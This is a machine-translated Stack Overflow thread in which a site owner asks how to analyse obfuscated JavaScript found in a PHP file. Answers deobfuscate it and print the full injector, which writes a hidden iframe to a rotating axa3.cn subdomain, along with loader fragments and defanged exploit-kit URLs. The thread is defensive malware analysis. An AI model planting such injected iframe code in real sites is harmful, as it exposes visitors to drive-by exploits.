Вопрос

У меня есть код, который был в нижней части php-файла в формате javascript. Он проходит через множество странных искажений, таких как преобразование hex в ascii, затем замена регулярных выражений, выполнение кода и так далее ...

Есть ли способ узнать, что он выполняет, прежде чем он это сделает?

Код здесь:

http://pastebin.ca/1303597

Это было полезно?

Решение

Вы можете просто пройти его поэтапно - так как это Javascript и он интерпретируется, он должен быть его собственным расшифровщиком. Если у вас есть доступ к интерпретатору Javascript из командной строки (например, консоли в Firebug ), это будет довольно прямой.

Я посмотрю и посмотрю, что будет.

Edit Я прошел через большую часть этого - кажется, что последний шаг нетривиален, вероятно потому, что он включает " аргумент.callee " ;. В любом случае, я добавил то, что у меня есть до сих пор , на Pastebin.

Интересно, что самой трудной частью этого было присвоение именным именам переменных. Это напомнило мне кроссворд или судоку, где вы знаете, как все связано, но вы не можете окончательно назначить что-то, пока не решите, каковы его зависимые части. :-) Я уверен, что если кто-то распознает алгоритм, он может дать частям более значимые имена, но в момент, когда происходит много XORing, есть две временные переменные, которые я просто оставил в качестве имен по умолчанию. так как я не знаю достаточно контекста, чтобы дать им полезные.

Окончательное редактирование . Аргумент «arguments.callee» стал легким, когда я понял, что могу просто передать необработанный текст, который по иронии судьбы только что декодировал (это довольно умный метод, так что нормальная деобфускация не будет работать, потому что, разумеется, после переименования переменных и т. д. значение будет другим). В любом случае, вот ваш сценарий полностью:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

Похоже, что он загружает вредоносное ПО из axa3.cn. Тем не менее, сайт уже подозревается интернет-провайдером, поэтому ничего не сказано о том, что на самом деле было там, помимо общей порчи.

(Если кому-то интересно, я использовал Pastebin в качестве псевдо-VCS для меняющихся версий кода, так что вы можете увидеть еще один промежуточный шаг , вскоре после моего первого поста редактирования. Было довольно интригующе видеть разные слои запутывания и как они менялись.)

Другие советы

Несмотря на то, что вы можете декодировать вручную, это может быстро стать утомительным, когда у вас много этапов декодирования. Я обычно заменяю eval / write, чтобы увидеть каждый шаг:

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

Однако этот конкретный сценарий защищен от этого путем преднамеренной проверки window.eval. Использование arguments.callee также означает, что скрипт использует определенный формат браузера Function.toString, в данном случае IE - он не будет работать в других браузерах. Вы можете добавить обходные пути в функцию eval для замены, чтобы дать сценарию то, что он ожидает в этом случае, но это все еще немного болезненно.

Вы можете использовать отладчик сценариев для пошагового выполнения кода, или в этом случае я разрешил выполнение кода на виртуальной машине без сети, которую я мог бы позволить себе списать. Посмотрев на document.body.innerHTML после запуска кода, я обнаружил, что он добавил невидимый iframe, на который указывают:

hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

который перенаправляет на:

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

, который при подходящих условиях в IE дает вам множество эксплойтов. Не переходите по этим URL .

Короче говоря, ваш сервер был взломан axa3.cn, одной из многих действующих в настоящее время в Китае группировок вредоносных программ, размещенных в Китае, но работающих в России.

Просто написать сценарий Perl или что-то, что заменяет все экранированные шестнадцатеричные символы на ascii? Затем просто просмотрите регулярные выражения, чтобы увидеть, что именно происходит, и сделайте то же самое с вашим perl / любым другим сценарием.

Вы можете попробовать консоль firebug и разбить ее по частям. Для начала:

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

просто маскирует "eval" функционировать как "JQuery"

Самый простой подход - слишком просто использовать простую программу на c, чтобы преобразовать экранированные шестнадцатеричные символы в читаемый текст, например так:

#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

который дает этот (я добавил форматирование). Я позволю вам закончить последнюю часть, которая кажется более похожей.

очень осторожно - если кто-то собирается изо всех сил запутать код, это, вероятно, какой-то сценарий атаки

вы можете выводить результаты выполнения поэтапно, используя локальный html-файл, и собирать его по частям за раз

делая это, я получаю:

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

который дает

jQuery=eval(window.eval);

который, как заметил crescentfresh, связывает переменную jQuery с функцией window.eval.

следующий раздел явно пытается что-то вычислить в шестнадцатеричном коде, поэтому давайте посмотрим, как выглядит строка шестнадцатеричного кода (переформатированная вручную для целей презентации):

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

и теперь у нас есть экранированная строка в конце, давайте посмотрим, что там есть, используя unescape (усеченный для презентации):

30248118GA0 * l: WRG: nt9 * 82:) 7Z \ uF% * {...

Честно говоря, мне становится скучно разбирать это на части, поэтому вместо этого я свалил его в локальный HTML-файл, отключился от Интернета, открыл Firefox, отключил JavaScript, загрузил файл в Firefox, включил Firebug, перезагрузил страницу так, он будет работать и проверять DOM.

скрипт создает IFRAME с SRC, установленным в [изменено для безопасности!]:

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

axa3.cn - китайский домен в черном списке вредоносных программ

Я знаю, что это не ответ, но обычно (где я видел такие вещи) они размещаются так, что если эта строка не выполняется, весь сценарий останавливается. Почему они это делают? Хорошо, потому что они печатают свои авторские права на сценарий (или, как правило, шаблон).

Когда люди обращаются ко всем этим неприятностям, чтобы дать вам признание, потому что у них есть лицензия на удаление авторских прав, я бы порекомендовал заплатить за это, поскольку даже если вы " обратный инжиниринг " что они могут (и имеют) другие способы проверить, верна ли ваша лицензия. (некоторые из этих программ на самом деле будут отправлять какие-то сообщения, если вы это делаете).

Но, прежде чем я получу какое-либо пламя, я согласен, что интересно вернуться к этим видам ценных бумаг и получить оригинальный код и взломать его =)

Лицензировано под: CC-BY-SA с атрибуция
Не связан с StackOverflow
scroll top